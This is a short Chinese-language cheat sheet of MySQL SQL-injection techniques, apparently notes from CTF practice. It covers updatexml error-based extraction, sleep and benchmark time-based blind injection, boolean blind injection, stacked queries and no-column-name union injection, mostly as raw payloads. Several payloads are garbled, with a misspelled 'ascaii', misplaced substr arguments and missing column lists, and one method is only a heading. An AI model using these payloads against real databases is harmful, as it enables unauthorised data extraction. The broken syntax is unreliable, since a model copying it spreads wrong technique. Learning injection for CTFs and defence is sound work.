报错注入
Tips:报错有长度限制32位(通过substring等截取字符段分开多次注入即可得到全部内容)
updatexml更新xml文档
正规的使用:Select from users where id =1 and updatexml(文档,正确的路径 ,更新的内容) 示例:Select from users where id =1 and updatexml(0x0a,(select database()),’1’)
原理:将报错的内容改为要输出的内容
注:0x0a表示换行,0x7e表示~
时间盲注
法一:sleep()———————————————————————————
示例:Select * from users and if(ascaii(substr(database())<1,1,1),sleep(3),0)
Tips:if(expr1,expr2,expr3)语句作用为如果expre1为真则返回expr2,为假返回expr3
原理:将要测试的内容条件作为expr1,如果为真就会有延时,为假就不延时,是否延时可以在burp的repeater右下角看到返回时间判断
例如示例作用为判断库名第一个字母ascaii值,可以通过返回结果逐个判断得到完整的库名
法二:-benchmark()————————————————————————–
示例:Select benchmark(1000000000,sha(1));
原理:通过执行大量次数的操作造成延时,示例效果为执行1000000000次sha(1)命令造成延时,可以作为返回的判断效果
法三:笛卡尔积———————————————————————————
布尔盲注
示例:Select * from users and (ascaii(substr(database())<1,1,1))
作用:根据返回结果的差异判断条件是否满足,作用效果和上面的时间盲注示例一样
堆叠注入
示例1(在mysql里面):select from users and select from animal;
结果:只返回一个结果
示例2(在mysql里面):select from users;select from animal;
结果:返回两个结果
可以使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第一关
无列名注入(知道库名表名即可)
错误:mysql> select 1,(select group_concat(1) from(select 1,2,3 union select from test.animal)x); 正确:mysql> select 1,(select group_concat(a) from(select 1 as a,2 as b,3 union select from test.animal)x);
正确:mysql> select 1,(select group_concat(‘1’) from(select 1,2,3 union select * from test.animal)x);